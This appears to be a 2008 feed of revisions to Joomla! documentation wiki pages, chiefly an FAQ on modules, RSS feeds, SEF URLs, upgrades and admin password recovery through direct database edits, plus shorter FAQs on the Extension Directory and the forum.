&#039;&#039;&#039;1.5&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Most PHP files within Joomla! 1.5 begin with the following statement:&lt;br /&gt;
&lt;br /&gt;
     defined(&#039;_JEXEC&#039;) or die(&#039;Restricted access&#039;);&lt;br /&gt;
&lt;br /&gt;
This statement checks to see if the file is being called from within a Joomla! session. This protects your site by making it more difficult for a cracker/hacker to damage your site.&lt;br /&gt;
&lt;br /&gt;
However, this line should NOT be included in your main index.php file, since this is the program that starts the Joomla! session.&lt;br /&gt;
&lt;br /&gt;
=== How do I stop users from being able to register?===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Go to your site &amp;gt;&amp;gt; global configuration and change &amp;quot;allow user registration&amp;quot; to no.&lt;br /&gt;
&lt;br /&gt;
=== How do I control whether modules are vertically or horizontally arranged?===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1.0&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
If you edit the html of your template, you will see that each position is assigned to a location using mosLoadModules.&lt;br /&gt;
&lt;br /&gt;
Usually it looks something like this:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?php if (mosCountModules(&#039;top&#039;)&amp;gt;0) mosLoadModules ( &amp;quot;top&amp;quot; ); ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
By default, modules are arranged in a vertical list. However, you can control this by changing the line. For example, to make a horizontal layout use&lt;br /&gt;
 &amp;lt;?php if (mosCountModules(&#039;top&#039;)&amp;gt;0) mosLoadModules ( &amp;quot;top&amp;quot;, 1 ); ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
For vertical&lt;br /&gt;
 &amp;lt;?php if (mosCountModules(&#039;top&#039;)&amp;gt;0) mosLoadModules ( &amp;quot;top&amp;quot;, 0 ); ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Here are the definitions of the numbers for mosLoadModules:&lt;br /&gt;
1 = horizontal, 0 = normal, -1 = raw, -2 = XHTML and -3 = extra divs. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1.5&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
See [[jdoc statements]]&lt;br /&gt;
&lt;br /&gt;
The optional style=&amp;quot;&amp;quot; attribute is available for the module and modules types of &amp;lt;jdoc:include /&amp;gt; statements. The attribute value refers to the &amp;quot;chrome&amp;quot; style used to wrap the output generated by a module. If no style is provided, a value of &amp;quot;none&amp;quot; is used by default. The standard styles which are declared in &amp;lt;tt&amp;gt;/templates/system/html/modules.php&amp;lt;/tt&amp;gt; include:&lt;br /&gt;
&lt;br /&gt;
* table&lt;br /&gt;
* horz&lt;br /&gt;
* xhtml&lt;br /&gt;
* rounded&lt;br /&gt;
* outline&lt;br /&gt;
&lt;br /&gt;
Template designers may add additional chrome names by adding a custom version of this file to &amp;lt;tt&amp;gt;/user-template/html/modules.php&amp;lt;/tt&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== How do you display an RSS feed?===&lt;br /&gt;
&lt;br /&gt;
The easiest way to display an RSS feed is:&lt;br /&gt;
&lt;br /&gt;
In administrator, &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1.0&#039;&#039;&#039;&lt;br /&gt;
* go to modules&amp;gt;&amp;gt;site modules&lt;br /&gt;
* Click new.&lt;br /&gt;
* Give it a title&lt;br /&gt;
* Scroll down and put the link for the rss feed where it says RSS URL&lt;br /&gt;
* Set your details.&lt;br /&gt;
* Then display your feed as you would any module.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1.5&#039;&#039;&#039;&lt;br /&gt;
* Go to extensions&amp;gt;&amp;gt;Module Manager&lt;br /&gt;
* Find the Feed Display module&lt;br /&gt;
* Enter the URL of the feed.&lt;br /&gt;
* Save and display the module like any other module.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Both&#039;&#039;&#039;&lt;br /&gt;
A second way is to use the News Feeds component that comes with Joomla! &lt;br /&gt;
* In the administrator go to components&amp;gt;&amp;gt;News Feeds&lt;br /&gt;
* In the component you can manage your news feeds and assign them to categories.&lt;br /&gt;
* To show the feeds on the front end make a component link in your menu.&lt;br /&gt;
&lt;br /&gt;
=== How do I assign a module to a position?===&lt;br /&gt;
&lt;br /&gt;
You assign a module to a position using the module manager.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1.0&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Modules&amp;gt;&amp;gt;Site Modules&lt;br /&gt;
&lt;br /&gt;
On the left side of the page, on the third line, there is a drop down menu that lets you select the position.&lt;br /&gt;
Modules that are not published will not display.&lt;br /&gt;
&lt;br /&gt;
Modules can be assigned to unused positions (positions not in the template) if you want to have them published but not displayed in a position (for example, if you want to display a module in content).&lt;br /&gt;
&lt;br /&gt;
Multiple modules may be assigned to the same position. They will be displayed in the order shown for modules in that position in the module manager.&lt;br /&gt;
&lt;br /&gt;
If you want to display a module in more than one position, use the module manager to copy the module and assign the copy to the second position. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1.5&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Extensions&amp;gt;&amp;gt;Module Manager.&lt;br /&gt;
&lt;br /&gt;
(Note: all available modules show up under this Module Manager, even though some of them are built into Joomla! and are not extensions.)&lt;br /&gt;
&lt;br /&gt;
On the left side of the page, on the third line, there is a  menu that lets you select the position. You also can create a new position name on the fly but typing it in the same space as the menu. (In that case, make sure the same position name also appears in the template file.)&lt;br /&gt;
&lt;br /&gt;
Modules that are not published will not display.&lt;br /&gt;
&lt;br /&gt;
Modules can be assigned to unused positions (positions not available in the template) if you want to have them published but not displayed in a position (for example, if you want to display a module in content).&lt;br /&gt;
&lt;br /&gt;
Multiple modules may be assigned to the same position. They will be displayed in the order shown for modules in that position in the module manager.&lt;br /&gt;
&lt;br /&gt;
If you want to display a module in more than one position, use the module manager new icon to create an additional copy and assign that copy to the second position.&lt;br /&gt;
&lt;br /&gt;
=== How do you put modules in or remove them from specific pages?===&lt;br /&gt;
&lt;br /&gt;
Modules are assigned to &amp;quot;pages&amp;quot; using the module manager. In the administrator (back end) go to &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1.0&#039;&#039;&#039; &lt;br /&gt;
Module&amp;gt;&amp;gt;Site Modules of &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1.5&#039;&#039;&#039; &lt;br /&gt;
Extensions&amp;gt;&amp;gt;Module Manager&lt;br /&gt;
&lt;br /&gt;
Select the module you want to assign and edit it.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1.0&#039;&#039;&#039; &lt;br /&gt;
&lt;br /&gt;
On the right you will see a list with a heading Pages/Items.&lt;br /&gt;
&lt;br /&gt;
At the top of the list, you can pick all, none or unassigned to make an assignment for the entire site.&lt;br /&gt;
&lt;br /&gt;
Underneath this list, there is a list of all the menu links in your site except those that are of type URL.&lt;br /&gt;
Using this list you can select individual pages on which your module will or will not appear.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1.5&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
On the left there is a list of menu items. You can chose between None, All and Select Menu Item(s) from the List.&lt;br /&gt;
To assign to some but not all pages choose the third option and select the menu links that you want the module associated with.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Notes:&#039;&#039;&#039;&lt;br /&gt;
If your module is assigned to a position that does not exist in the template used to display a page, the module will not appear even if it is assigned to a specific page.&lt;br /&gt;
&lt;br /&gt;
If your module is not published/enabled it will not appear even if assigned to a page.&lt;br /&gt;
&lt;br /&gt;
You cannot assign a module to a URL link. This is because URL links do not have Itemids assigned to them. You also cannot assign modules to pages that are only linked via content or other, non-menu modules, because these also do not have Itemids.&lt;br /&gt;
&lt;br /&gt;
One work-around for this problem is to have an unpublished menu that contains links to the items you wish to link through non-menus. This will create an itemid that can be included in the url you link to. You will see a list with a heading Pages/Items.&lt;br /&gt;
&lt;br /&gt;
At the top of the list, you can pick all, none or unassigned to make an assignment for the entire site.&lt;br /&gt;
&lt;br /&gt;
Underneath this list, there is a list of all the menu links in your site except those that are of type URL.&lt;br /&gt;
Using this list you can select individual pages on which your module will or will not appear.&lt;br /&gt;
&lt;br /&gt;
Notes:&lt;br /&gt;
If your module is assigned to a position that does not exist in the template used to display a page, the module will not appear even if it is assigned to a specific page.&lt;br /&gt;
&lt;br /&gt;
If your module is not published it will not appear even if assigned to a page.&lt;br /&gt;
&lt;br /&gt;
You cannot assign a module to a URL link. This is because URL links do not have Itemids assigned to them. You also cannot assign modules to pages that are only linked via content or other, non-menu modules, because these also do not have Itemids.&lt;br /&gt;
&lt;br /&gt;
One work-around for this problem is to have an unpublished menu that contains links to the items you wish to link through non-menus. This will create an Itemid that can be included in the URL you link to.&lt;br /&gt;
&lt;br /&gt;
=== How do you change the title of a module?===&lt;br /&gt;
&lt;br /&gt;
From the adminisrator (backend) go to the  module manager (&#039;&#039;&#039;1.0&#039;&#039;&#039; Modules&amp;gt;Site Modules  &#039;&#039;&#039;1.5&#039;&#039;&#039; Extensions&amp;gt;Module Manager).&lt;br /&gt;
Find the module you want to change and click on its name.&lt;br /&gt;
Change the name and save.&lt;br /&gt;
&lt;br /&gt;
=== Can I control what is shown in the Latest News Module?===&lt;br /&gt;
&lt;br /&gt;
Waiting for licensing&lt;br /&gt;
&lt;br /&gt;
=== What does This site is temporarily unavailable - Database ERROR NUMBER CODE mean===&lt;br /&gt;
&lt;br /&gt;
waiting for licensing&lt;br /&gt;
&lt;br /&gt;
=== Why are the admin menus not working or missing?===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
waiting for licensing&lt;br /&gt;
&lt;br /&gt;
=== How do I change the footer?===&lt;br /&gt;
=== How do I add my own php to a content item?===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1.0&#039;&#039;&#039;&lt;br /&gt;
You can either create your own joomla component or else install a mambot, such as kl_php or moslate.&lt;br /&gt;
&lt;br /&gt;
Another option is to use the wrapper menu item, so you can add your own custom made php files.&lt;br /&gt;
&lt;br /&gt;
=== How do I recover my admin password?===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1.0&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
If you know the email address that was used, the simplest thing is to do is to use the &amp;quot;lost password&amp;quot; Front-end function if you have made it available.&lt;br /&gt;
&lt;br /&gt;
If not, you will need access to the MySQL database.&lt;br /&gt;
&lt;br /&gt;
You have two choices, either add a new super administrator or change the password stored in the data base.&lt;br /&gt;
To do this you need to go to phpMyAdmin (or use a similar tool) and manually edit the database. Before doing this &#039;&#039;back up our complete database&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
Run this to create a new user known as &amp;lt;var&amp;gt;admin2&amp;lt;/var&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;sql&amp;quot;&amp;gt;&lt;br /&gt;
INSERT INTO `jos_users` VALUES &lt;br /&gt;
    (62, &#039;Administrator2&#039;, &#039;admin2&#039;, &#039;your-email@email.com&#039;, &#039;21232f297a57a5a743894a0e4a801fc3&#039;,  &lt;br /&gt;
    &#039;Super Administrator&#039;, 0, 1, 25, &#039;2005-09-28 00:00:00&#039;, &#039;2005-09-28 00:00:00&#039;, &#039;&#039;, &#039;&#039;);&lt;br /&gt;
INSERT INTO `jos_core_acl_aro` VALUES (10,&#039;users&#039;,&#039;62&#039;,0,&#039;Administrator2&#039;,0);&lt;br /&gt;
INSERT INTO `jos_core_acl_groups_aro_map` VALUES (25,&#039;&#039;,10);&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The password will be &amp;lt;var&amp;gt;admin&amp;lt;/var&amp;gt;. Immediately log in and change this password.&lt;br /&gt;
&lt;br /&gt;
Or&lt;br /&gt;
&lt;br /&gt;
You can change the password in the table for your admin user (assuming you never changed the user name; if you have just change the instructions below to .&lt;br /&gt;
&lt;br /&gt;
The password is stored in the MySQL database jos_users table password field. (change this for your table prefix if different)&lt;br /&gt;
&lt;br /&gt;
Open the table, find your admin username, and then select that row for editing.&lt;br /&gt;
&lt;br /&gt;
The password must be hashed, you cannot simply enter text into this field.&lt;br /&gt;
&lt;br /&gt;
Set the password to a known value&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
- password = &amp;quot;this is the MD5 hashed password&amp;quot;&lt;br /&gt;
------------------------------------------------------&lt;br /&gt;
- admin  = 21232f297a57a5a743894a0e4a801fc3&lt;br /&gt;
- secret = 5ebe2294ecd0e0f08eab7690d2a6ee69&lt;br /&gt;
- OU812  = 7441de5382cf4fecbaa9a8c538e76783&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Paste the hashed password into the field, save the change, and log-in using the new password.&lt;br /&gt;
Immediately change your password to something more secure!&lt;br /&gt;
&lt;br /&gt;
=== How do I implement the core Search Engine Friendly URLs (SEF) on a Windows Server?===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1.0&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Many Joomla! Community members are using ther local Windows based PC&#039;s to test and develop Joomla! sites on and one of the most frustrating items about Apache on Windows is that Winodws cannot support many of the Apache functions that can be used on Linux/Unix based production sites.&lt;br /&gt;
&lt;br /&gt;
Joomla! SEF Capability on Windows/Apache&lt;br /&gt;
&lt;br /&gt;
1 ) Ensure that you have the Apache Rewrite Module ( mod_rewrite.so ) installed/available in the Apache &amp;quot; modules/ &amp;quot; directory.&lt;br /&gt;
&lt;br /&gt;
2 ) Enable Apache &amp;quot; mod_rewrite &amp;quot; in httpd.conf by removing the &amp;quot; # &amp;quot; ( hash sign ) from the following line in httpd.conf&lt;br /&gt;
&lt;br /&gt;
        # Remove the &amp;quot;#&amp;quot; if it exists from the following line in the modules section&lt;br /&gt;
        LoadModule rewrite_module modules/mod_rewrite.so &lt;br /&gt;
&lt;br /&gt;
3 ) Restart Apache to check that the ReWrite Module is loading correctly and not crashing Apache&lt;br /&gt;
        apache -k restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
4 ) Again, modify the following lines in your httpd.conf to support Windows File Naming conventions&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
          # AccessFileName: The name of the file to look for in each directory&lt;br /&gt;
          # for additional configuration directives.  See also the AllowOverride&lt;br /&gt;
          # directive.&lt;br /&gt;
          #&lt;br /&gt;
          #AccessFileName .htaccess&lt;br /&gt;
          # Allows for Joomla! SEF functionality on Windows (Notice, No dot)&lt;br /&gt;
          AccessFileName htaccess&lt;br /&gt;
         #&lt;br /&gt;
         # The following lines prevent .htaccess and .htpasswd files from being viewed by Web clients.&lt;br /&gt;
         #&lt;br /&gt;
         #&amp;lt;FilesMatch &amp;quot;^\.ht&amp;quot;&amp;gt;&lt;br /&gt;
         # Allows for Joomla! SEF functionality on Windows (Notice, No dot)&lt;br /&gt;
         &amp;lt;FilesMatch &amp;quot;^\ht&amp;quot;&amp;gt;&lt;br /&gt;
            Order allow,deny&lt;br /&gt;
            Deny from all&lt;br /&gt;
            Satisfy All&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3 ) Restart Apache to check that the FileMatch Rule is not in error and not crashing Apache&lt;br /&gt;
        apache -k restart&lt;br /&gt;
&lt;br /&gt;
6 ) Rename htaccess.txt to &amp;quot; htaccess &amp;quot; (notice, no &amp;quot;dot&amp;quot;, unlike the *nix equivalent)&lt;br /&gt;
&lt;br /&gt;
7 ) Modify $mosConfig_sef = 0 to now be a 1 (turning on SEF)&lt;br /&gt;
&lt;br /&gt;
8 ) Access you local WebSite and check your SEF is working.&lt;br /&gt;
&lt;br /&gt;
=== Can I import users from a CSV file?===&lt;br /&gt;
&lt;br /&gt;
There is not a native bulk import function. However, users can be imported using MySQL. If importing, make sure that each user must have a record in the following tables: jos_users jos_core_acl_aro jos_core_acl_groups_aro_map (assuming that jos is your prefix) Passwords should be encrypted, i.e. in Joomla! 1.0.x  md5(password).&lt;br /&gt;
&lt;br /&gt;
=== Why does the html disappear when I edit in my wysiwyg editor?===&lt;br /&gt;
&lt;br /&gt;
Many of the wysiwyg editors strip all but a limited number of html tags. The list of tags is often configurable. This is to prevent potential problems on your site. You can overcome this limitation by selecting &amp;quot;no WYSIWYG&amp;quot; as your editor (in the user manager or your profile).&lt;br /&gt;
&lt;br /&gt;
Some editors will also allow you to specify which html tags are allowed.&lt;br /&gt;
&lt;br /&gt;
=== Will my existing extensions work in Joomla! 1.5?===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There is a legacy system in place that MAY allow extensions that are not 1.5 compatible to continue to operate. However, we strongly recommend that you update to the current version of all extensions prior to migration and that you check each extension&#039;s home page for specific recommendations about migration for that extension. &lt;br /&gt;
&lt;br /&gt;
It is very wise to use a staging server or test server to try out extensions before deploying them on a production server.&lt;br /&gt;
&lt;br /&gt;
There is no guarantee that all extensions will work.&lt;br /&gt;
&lt;br /&gt;
=== What do I do to prepare to upgrade?===&lt;br /&gt;
&lt;br /&gt;
Prior to migrating a site it is absolutely essential that your database and all files be backed up . It is recommended that you migrate on a copy of your database while leaving your existing site in operation. Once you are satisfied that your 1.5 site is working as expected, you can switch to the new site. If this is not possible because your host limits the number of databases you have available, you can still install the 1.5 files in a new folder. In this situation, you should use the global settings on your old site to take the site offline while you make the transition.&lt;br /&gt;
&lt;br /&gt;
To make a backup of your site, you must backup both the files and the database. There are several extensions which can help with this or you can use the options offered by your host. Ask your host for instructions on how to do a backup if you are unsure.&lt;br /&gt;
&lt;br /&gt;
=== How do I implement the core Search Engine Friendly URLs (SEF)?===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1.5&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
#Rename htaccess.txt to .htaccess&lt;br /&gt;
#In Global configuration, select yes to all three SEF options.&lt;br /&gt;
#Make sure that Mod_rewrite is working.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===How do I block or delete a superadministrator?===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1.5&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
First, demote to superadministrator to a lower category, such as registered. Then delete or block.&lt;br /&gt;
&lt;br /&gt;
===How do I organize my frontpage with appropriate columns, etc.===&lt;br /&gt;
&lt;br /&gt;
If you&#039;re just getting started, take a look at the [[Absolute Beginners Guide to Joomla!]].  There are a great many conceptual ideas there that you need to understand.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1.5&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
There are five parts to setting up your frontpage.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;First:&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Choose a desirable template for your site. Install it, and get it basically working. The template determines the column layout for your site.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;Second:&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Choose and configure your modules, so your frontpage displays the right menus, etc. Modules are those things like menus, login forms, banner-ad positions, &amp;quot;Breaking News&amp;quot; boxes, etc., that show up on the pages of your site.&lt;br /&gt;
&lt;br /&gt;
Use Extensions/Module Manager in your backend menu to do this. Edit each module in turn to place it in the correct spot on your template (for example, right, left, breadcrumb, etc.)&lt;br /&gt;
&lt;br /&gt;
You can disable the modules you don&#039;t want to see, enable the ones you do, position them within your template, and control their order from the Module Manager.&lt;br /&gt;
&lt;br /&gt;
When you&#039;re doing this, make sure you have not enabled caching. If caching is enabled, it may look like your changes are not taking effect, which can drive you crazy.&lt;br /&gt;
&lt;br /&gt;
Use the Preview button on the backend (upper right), and Shift-Reload on your browser, liberally to make sure you have things right. Change one thing in the backend, then view the frontpage again.&lt;br /&gt;
&lt;br /&gt;
Note well: all modules in 1.5 are controlled from Extensions / Module Manager, even the ones that aren&#039;t really extensions. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;Third:&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Make sure your frontpage is configured so that the front page manager can control the order of articles in your front page. You need to [[Setting_Front_Page_Advanced_Parameters|set certain advanced parameters correctly]]. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;Fourth:&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Use the Content Manager to enable certain articles to be published on the frontpage. Only enable the ones you want on the frontpage.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;Fifth:&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Use the Front Page manager to set the order of articles on your frontpage.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;noinclude&amp;gt;[[Category:FAQ]]&amp;lt;/noinclude&amp;gt;&lt;/div&gt;</summary>
		<author><name>Igeoffi</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Joomla!_Extension_Directory_FAQs&amp;diff=9557</id>
		<title>Joomla! Extension Directory FAQs</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Joomla!_Extension_Directory_FAQs&amp;diff=9557"/>
		<updated>2008-07-27T22:08:32Z</updated>

		<summary type="html">&lt;p&gt;Igeoffi: {{review}}&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{review}}&lt;br /&gt;
&lt;br /&gt;
===How do I list my extension in the extensions site?===&lt;br /&gt;
Information on how to list extensions in the extensions site is available here:&lt;br /&gt;
http://extensions.joomla.org/content/view/15/63/&lt;br /&gt;
&lt;br /&gt;
===What extension is used to manage extensions.joomla.org?===&lt;br /&gt;
It is a customized version of Mosets Tree (a commercial component you can find in the Joomla! Extensions Directory ).&lt;br /&gt;
&lt;br /&gt;
===Why was my extension rejected from being listed?===&lt;br /&gt;
Some of the common reasons extensions are rejected are because of:&lt;br /&gt;
*logo violations&lt;br /&gt;
*extension cannot be downloaded or found on the site&lt;br /&gt;
*extension does not install&lt;br /&gt;
&lt;br /&gt;
===How can I help the extension submission process?===&lt;br /&gt;
There are several ways you can help the extension submission process go faster and smoother.&lt;br /&gt;
As you may know, the Joomla! Extension Directory is supported by volunteers and it takes time to go through all the extensions.&lt;br /&gt;
To make things easier:&lt;br /&gt;
*Make sure your download link leads directly to the download page. It makes downloading and testing the extension a whole lot easier.&lt;br /&gt;
*Make sure a front-end/public/guest user can actually download the extension.&lt;br /&gt;
*Test your extension to make sure the package can be installed.&lt;br /&gt;
*If you have use the Joomla! logo anywhere, make sure it follows the logo guidelines.&lt;br /&gt;
*If you need to make changes to your extension listing and it has not been published, do not submit another application. Removing duplicates takes up precious time. Instead, either email your changes to team@extensions.joomla.org with detailed information about your extension or wait until your extension is published.&lt;br /&gt;
&lt;br /&gt;
===Why was my review of XYZ extension removed and/or edited?===&lt;br /&gt;
*Spam and/or self-promotion.&lt;br /&gt;
*Feature requests. Send feature requests to the developer.&lt;br /&gt;
*Support requests. Send support requests to the developer.&lt;br /&gt;
*You state that you haven&#039;t used the extension.&lt;br /&gt;
*Putting some type of code. The review section doesn&#039;t like code languages.&lt;/div&gt;</summary>
		<author><name>Igeoffi</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Joomla!_Forum_FAQs&amp;diff=9556</id>
		<title>Joomla! Forum FAQs</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Joomla!_Forum_FAQs&amp;diff=9556"/>
		<updated>2008-07-27T22:08:22Z</updated>

		<summary type="html">&lt;p&gt;Igeoffi: {{review}}&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{review}}&lt;br /&gt;
===What forum is used at joomla.org?===&lt;br /&gt;
&lt;br /&gt;
We are currently using the forum software, phpBB3. phpBB is located here: http://www.phpbb.com/&lt;br /&gt;
&lt;br /&gt;
===How is the forum at joomla.org integrated with Joomla!?===&lt;br /&gt;
The forum is not bridged with Joomla! in any way. The forum uses a customized theme that matches the rest of the joomla.org sites.&lt;br /&gt;
&lt;br /&gt;
===What are the rules of the joomla.org forums?===&lt;br /&gt;
You can read the current forum rules here: http://forum.joomla.org/viewtopic.php?f=8&amp;amp;t=65&lt;br /&gt;
&lt;br /&gt;
===How do you empty your PM-box on the forum?===&lt;br /&gt;
&lt;br /&gt;
Problem&lt;br /&gt;
Your PM-box is full and nobody can send you anymore messages. How to solve this?&lt;br /&gt;
&lt;br /&gt;
Solution&lt;br /&gt;
go to your messages and &amp;quot;check&amp;quot; the box and click delete for those you want to delete.&lt;br /&gt;
&lt;br /&gt;
Note: READ them first before you delete them!&lt;br /&gt;
&lt;br /&gt;
===How do I search the forum to find what I need?===&lt;br /&gt;
&lt;br /&gt;
The forum search is somewhat tricky. Here are some tips for effective searching:&lt;br /&gt;
&lt;br /&gt;
#Searches are case sensitive, so try upper and lower case. For example, xml and XML will give different results.&lt;br /&gt;
#Searches are for whole words, so for example error and errors will give different results.The forums are spidered by external search engines so you may be more successful using one of these.&lt;br /&gt;
#Advanced search will let you search with more parameters.&lt;/div&gt;</summary>
		<author><name>Igeoffi</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Joomla!_Extension_Directory_FAQs&amp;diff=9550</id>
		<title>Joomla! Extension Directory FAQs</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Joomla!_Extension_Directory_FAQs&amp;diff=9550"/>
		<updated>2008-07-27T22:00:02Z</updated>

		<summary type="html">&lt;p&gt;Igeoffi: /* =How can I help the extension submission process? */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===How do I list my extension in the extensions site?===&lt;br /&gt;
Information on how to list extensions in the extensions site is available here:&lt;br /&gt;
http://extensions.joomla.org/content/view/15/63/&lt;br /&gt;
&lt;br /&gt;
===What extension is used to manage extensions.joomla.org?===&lt;br /&gt;
It is a customized version of Mosets Tree (a commercial component you can find in the Joomla! Extensions Directory ).&lt;br /&gt;
&lt;br /&gt;
===Why was my extension rejected from being listed?===&lt;br /&gt;
Some of the common reasons extensions are rejected are because of:&lt;br /&gt;
*logo violations&lt;br /&gt;
*extension cannot be downloaded or found on the site&lt;br /&gt;
*extension does not install&lt;br /&gt;
&lt;br /&gt;
===How can I help the extension submission process?===&lt;br /&gt;
There are several ways you can help the extension submission process go faster and smoother.&lt;br /&gt;
As you may know, the Joomla! Extension Directory is supported by volunteers and it takes time to go through all the extensions.&lt;br /&gt;
To make things easier:&lt;br /&gt;
*Make sure your download link leads directly to the download page. It makes downloading and testing the extension a whole lot easier.&lt;br /&gt;
*Make sure a front-end/public/guest user can actually download the extension.&lt;br /&gt;
*Test your extension to make sure the package can be installed.&lt;br /&gt;
*If you have use the Joomla! logo anywhere, make sure it follows the logo guidelines.&lt;br /&gt;
*If you need to make changes to your extension listing and it has not been published, do not submit another application. Removing duplicates takes up precious time. Instead, either email your changes to team@extensions.joomla.org with detailed information about your extension or wait until your extension is published.&lt;br /&gt;
&lt;br /&gt;
===Why was my review of XYZ extension removed and/or edited?===&lt;br /&gt;
*Spam and/or self-promotion.&lt;br /&gt;
*Feature requests. Send feature requests to the developer.&lt;br /&gt;
*Support requests. Send support requests to the developer.&lt;br /&gt;
*You state that you haven&#039;t used the extension.&lt;br /&gt;
*Putting some type of code. The review section doesn&#039;t like code languages.&lt;/div&gt;</summary>
		<author><name>Igeoffi</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Joomla!_Extension_Directory_FAQs&amp;diff=9549</id>
		<title>Joomla! Extension Directory FAQs</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Joomla!_Extension_Directory_FAQs&amp;diff=9549"/>
		<updated>2008-07-27T21:59:50Z</updated>

		<summary type="html">&lt;p&gt;Igeoffi: add more faqs&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===How do I list my extension in the extensions site?===&lt;br /&gt;
Information on how to list extensions in the extensions site is available here:&lt;br /&gt;
http://extensions.joomla.org/content/view/15/63/&lt;br /&gt;
&lt;br /&gt;
===What extension is used to manage extensions.joomla.org?===&lt;br /&gt;
It is a customized version of Mosets Tree (a commercial component you can find in the Joomla! Extensions Directory ).&lt;br /&gt;
&lt;br /&gt;
===Why was my extension rejected from being listed?===&lt;br /&gt;
Some of the common reasons extensions are rejected are because of:&lt;br /&gt;
*logo violations&lt;br /&gt;
*extension cannot be downloaded or found on the site&lt;br /&gt;
*extension does not install&lt;br /&gt;
&lt;br /&gt;
===How can I help the extension submission process?==&lt;br /&gt;
There are several ways you can help the extension submission process go faster and smoother.&lt;br /&gt;
As you may know, the Joomla! Extension Directory is supported by volunteers and it takes time to go through all the extensions.&lt;br /&gt;
To make things easier:&lt;br /&gt;
*Make sure your download link leads directly to the download page. It makes downloading and testing the extension a whole lot easier.&lt;br /&gt;
*Make sure a front-end/public/guest user can actually download the extension.&lt;br /&gt;
*Test your extension to make sure the package can be installed.&lt;br /&gt;
*If you have use the Joomla! logo anywhere, make sure it follows the logo guidelines.&lt;br /&gt;
